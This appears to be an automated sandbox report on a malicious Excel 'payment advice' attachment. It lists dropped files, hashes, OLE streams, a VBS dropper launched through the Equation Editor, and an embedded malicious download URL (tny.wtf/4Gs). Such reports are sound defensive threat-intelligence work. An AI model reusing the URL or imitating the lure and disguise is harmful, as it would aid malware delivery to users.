SSDEEP:	6:I3DPcfEFvxggLRpwZgiLGRXv//4tfnRujlw//+GtluJ/eRuj:I3DPkMufqvYg3J/
MD5:	ECE0DF009049350F8D07DCE691CE2FA5
SHA1:	C24A606C32BC87144D434B3FCDE2D82C2CB55646
SHA-256:	F6CE0BDB4C3CD32152F443B1471C3954985DE19BC341B90143FA1A6A1CF1C7E6
SHA-512:	92B96E5BB87D282245D4936ED65D3D355ACA4BC4A1155D6E736138A805A19089D4BB05205001BCDA334E2DFC1E6445443E03706D3A450D1B6F624E34A61B9A8A
Malicious:	false
Preview:	......M.eFy...z..3$.83H....n._YS,...X.F...Fa.q............................>.*...KB......o..........a...XL....ouH......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF2AEE0CE36AF296F8.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF494DC45E5057272F.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF796D981FE2E9145A.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	7.870478073083046
Encrypted:	false
SSDEEP:	12288:wthMS5lPewKui0iPg8kk7BwUC3QLfGAj+Km:i2S7Pe4a7uUC3QLO5Km
MD5:	207854F1B7B812335E52417F73F23B0E
SHA1:	39EE35C6BD1A1852263FFB167D4AEAC457A8BB84
SHA-256:	F8973DF8841180FA072D3FF74635CE15A24EE90FE508ED9096E6485084811E94
SHA-512:	21F103BB986C1960796E49A62C0048D3992F4777B0CDD2197EF1BE04ABC99009A73F59DB9B436F9B359FE8379155FDBCEE0A40C90D16AFD4B7456992D3C7AF41
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB88BC22996138750.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	542720
Entropy (8bit):	7.926863820625562
Encrypted:	false
SSDEEP:	12288:IthMS5lPewKui0iPg8kk7BwUC3QLfGAj+Km:q2S7Pe4a7uUC3QLO5Km
MD5:	F270ABF26D2DBCB3000FAD3DD103ABE6
SHA1:	3A40ABEEE65C1584496E902442FFE4A975B82A56
SHA-256:	9D9254ED092BFA4DB583575842FD03FF14366746152E9DD55512FCDC3C446F24
SHA-512:	9745FEBEA2B1600C346556CDCBB45DEE442F829DEE993BE1753FA56BC6282D459652C8A749720E1DC2EC802B2A96D4476802E3E26F2C1CC9BA4CF748CE01DF03
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\4Gs.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/4Gs>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.470573095811685
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/3LcmWE3:HRYFVm/3LOq
MD5:	EA2E675697CA592E50BFFE355A59B731
SHA1:	BC67AEBDE062C7565AD5B16BE514E63FD635F517
SHA-256:	7F669212335BAE30E6B1ABBC6AFC8CAFD60932468C0F9DCEE0384FDC7DCBB16C
SHA-512:	AF6CBD4BEE1C5621EAD63AE9ED5024319D6C97D0919F8EB7FCEBBCE813B9FBC466BF57BED96E0A757F4D71137CF3C2F2123FCE30C7A1F71DE15FFAECC595BC11
Malicious:	true
Preview:	[InternetShortcut]..URL=http://tny.wtf/4Gs..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [xls]
Category:	modified
Size (bytes):	60
Entropy (8bit):	4.371241170818224
Encrypted:	false
SSDEEP:	3:bD3WcLOQvUYCmMTBCv:bzbDOT2
MD5:	99FDB30E4CE37C2619E4F937EAD249C3
SHA1:	A0456195E67E9CFCB5793E8FDD1D3CEB13E5165A
SHA-256:	A74EE273542641C24F46CDE4F1E13AD7BF827533DCEC544A6DF61AA67376D961
SHA-512:	D1D11CA9FD7C273E0D832C3010292C8D9DBECA5F055D694DE116DD803D05715B33FF60C7B59E891C0AB0779C6F76D4F2D60CF3CCFF9AA719C3CFDB59D7D1FE84
Malicious:	false
Preview:	[folders]..4Gs.url=0..tny.wtf.url=0...LNK=0..[xls]...LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.2963379801223045
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/3LcmWy:HRYFVm/3LOy
MD5:	D591A53347F94FBC48B4B6A5CCE920ED
SHA1:	C00082566F3211F9B1BBEC933A8AE164759C290A
SHA-256:	1CA93696A94797C9411318830CAC6A5B26FEACC37D5CAA4B3742D722CD073781
SHA-512:	BA14258049ABCC3E31AA3DFC3ABBC2949AF30BB73B031C0E408BCF036B51B7AC11E32C3B39A7952E1A007179720C970B29CB2DF8EF03A021EF3B59FEB5AE177E
Malicious:	true
Preview:	[InternetShortcut]..URL=http://tny.wtf/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
MD5:	CB3D0F9D3F7204AF5670A294AB575B37
SHA1:	5E792DFBAD5EDA9305FCF8F671F385130BB967D8
SHA-256:	45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
SHA-512:	BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	415848
Entropy (8bit):	3.5938135611796738
Encrypted:	false
SSDEEP:	3072:HHGzwfkYF6hNe4VTdRnTT8w4TWQZqbT0WgR2pKKtPt2uS7Ut4QzS18f8d6bb/g5g:0wfkYFNZqP0Hd0t/
MD5:	8917F751C05D497A4F29BF454BC19F48
SHA1:	31EAE7E64E0C6062FDD6C4DB81E31A2BE2C3A000
SHA-256:	2E0E8C2013DDE6B8F98ADF7A38208C6360AFB3D4F78408D903598250D2733CEC
SHA-512:	8D3B2E2BA380B2118A5DBA00615CBCCCAED76D7DAEE84B0D82B2CE4F6B9A26B61B0D8F7F8C1A6DB90EFBE729D08D6B972B94DFE041AFCB9D9D8682FB998575F7
Malicious:	true
Preview:	..'.....'. .C.o.p.y.r.i.g.h.t. .(.c.). .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n... . .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d.......'.....'. .V.B.S.c.r.i.p.t. .S.o.u.r.c.e. .F.i.l.e.....'.....'. .S.c.r.i.p.t. .N.a.m.e.:. .w.i.n.r.m...v.b.s.....'.........O.p.t.i.o.n. .E.x.p.l.i.c.i.t.........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.....'. .E.r.r.o.r. .c.o.d.e.s.....p.r.i.v.a.t.e. .c.o.n.s.t. .E.R.R._.O.K. . . . . . . . . . . . . . .=. .0.....p.r.i.v.a.t.e. .c.o.n.s.t. .l.a.m.p.e.j.a.n.t.e. .=. .1.........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.....'. .M.e.s.s.a.g.e.s.....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.O.N.L.Y.C.S.C.R.I.P.T._.M.e.s.s.a.g.e. . . . . .=. .".C.a.n. .b.e. .e.x.e.c.u.t.e.d. .o.n.l.y. .b.y. .c.s.c.r.i.p.t...e.x.e...".....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.U.N.K.O.P.N.M._.M.e.s.s.a.g.e. . . . . . . . . .=. .".U.n.k.n.o.w.n. .o.p.e.r.a.t.i.o.n. .n.a.m.e.:. .".....p.r.i.v.a.t.e. .c.o.n.s.t. .L._.O.P._.M.e.s.s.a.g.e. . . . . . . . . . . . . . .=. .".O.p.e.r.a.t.i.o.n. .-. .".....

C:\Users\user\Desktop\#U00d6DEME TAVS#U0130YES#U0130.xls (copy)

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 07:25:07 2024, Security: 1
Category:	dropped
Size (bytes):	1088000
Entropy (8bit):	7.9821086142995386
Encrypted:	false
SSDEEP:	24576:D2S7Pe4a7uUC3QLO5KmLaQPFO4vkw7zf8dJD2whU:T7P0uUC3QL6a+HvPMJD2whU
MD5:	6569097957353D553389963ED0BD658B
SHA1:	DAC24AA0CD63B389868C14CE8649147CBA4E71DA
SHA-256:	69F25494C2D2D350C08BDBDAAA553004115DF54B1BC9685FADC2F1D5231CA5CC
SHA-512:	D8424ABFC62077883A9E6059BC54A5982384CC62659CB70AAFAAE85486F7026342ED58876B8297A2D26120A807FFCFF1755C9F399AF00B15FE9C56E448CFAF84
Malicious:	true
Preview:	......................>.......................................................................................u.......w.......y.......{...............................................................................................................................................................................................................................................................................................................................................................................................K................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\F0630000

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 07:25:07 2024, Security: 1
Category:	dropped
Size (bytes):	1088000
Entropy (8bit):	7.9821086142995386
Encrypted:	false
SSDEEP:	24576:D2S7Pe4a7uUC3QLO5KmLaQPFO4vkw7zf8dJD2whU:T7P0uUC3QL6a+HvPMJD2whU
MD5:	6569097957353D553389963ED0BD658B
SHA1:	DAC24AA0CD63B389868C14CE8649147CBA4E71DA
SHA-256:	69F25494C2D2D350C08BDBDAAA553004115DF54B1BC9685FADC2F1D5231CA5CC
SHA-512:	D8424ABFC62077883A9E6059BC54A5982384CC62659CB70AAFAAE85486F7026342ED58876B8297A2D26120A807FFCFF1755C9F399AF00B15FE9C56E448CFAF84
Malicious:	false
Preview:	......................>.......................................................................................u.......w.......y.......{...............................................................................................................................................................................................................................................................................................................................................................................................K................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\F0630000:Zone.Identifier

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Jul 25 03:44:04 2024, Security: 1
Entropy (8bit):	7.976582520990171
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	#U00d6DEME TAVS#U0130YES#U0130.xls
File size:	1'104'896 bytes
MD5:	75bfdd13f1ba9517907d20630398fe5e
SHA1:	20049b39f7b1f74ba4cd4dabf064f61d5fe28ce7
SHA256:	0658815d79e2d6c10e9ca7c2d3f4a355403ad7bfe1f1c6a4d69d50a1d3dd7b04
SHA512:	9fa3adf1f38c258d44f33edcf712ae581d04e8520ac33f3a7723241d7b0590a3d1224c97b777179eebbf847519f59a79864639f396db764bf40a03c534daa8ff
SSDEEP:	24576:62S7Pe4a7uUC3QLO5K+tN8hzSHkLrfSwRh641/AICv:I7P0uUC3QLgtHmV
TLSH:	173523147B83CF52D18B0AB5EAC6915F15799E365B3282873B52B31FEE30378258364B
File Content Preview:	........................>...................................3...................................................v.......x.......z.......\|......................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "#U00d6DEME TAVS#U0130YES#U0130.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-07-25 02:44:04
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . W y . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 96 c9 57 79 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 96 c9 eb 99 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 96 c9 6f 8f 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 96 c9 a7 bf 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2503503175049815
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . r . < . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD000177E1/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD000177E1/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000177E1/Package, File Type: Microsoft Excel 2007+, Stream Size: 544527

General
Stream Path:	MBD000177E1/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	544527
Entropy:	7.971990487615386
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d4 fe 94 9a b9 01 00 00 c0 06 00 00 13 00 d1 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cd 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000177E2/\x1Ole, File Type: data, Stream Size: 538

General
Stream Path:	MBD000177E2/\x1Ole
CLSID:
File Type:	data
Stream Size:	538
Entropy:	6.325482802013981
Base64 Encoded:	False
Data ASCII:	. . . . v W e R . z . . . . . . . . . . . . 2 . . . y . . . K . . . . . h . t . t . p . : . / . / . t . n . y . . . w . t . f . / . 4 . G . s . . . [ g . s @ . 9 * & ; G . . c . G R . . " / . 6 G t . w . . u . . - b h 0 Y . % N . . . . . L . % V { I } < 7 [ E y \\ g . T I } . . s - . 3 . y 7 . e @ . s . . I $ * J j . ~ / & H D p . [ Z h 4 . . s { u V 5 . U ! . " z g ! . . > . D ! % . 7 I % : - g . Y w . . @ 3 . . 5 C . . . . . . . . . . . . . . . . . . . k . p . a . F . t . v . Q . v . b . o . 7 . 5 . y .
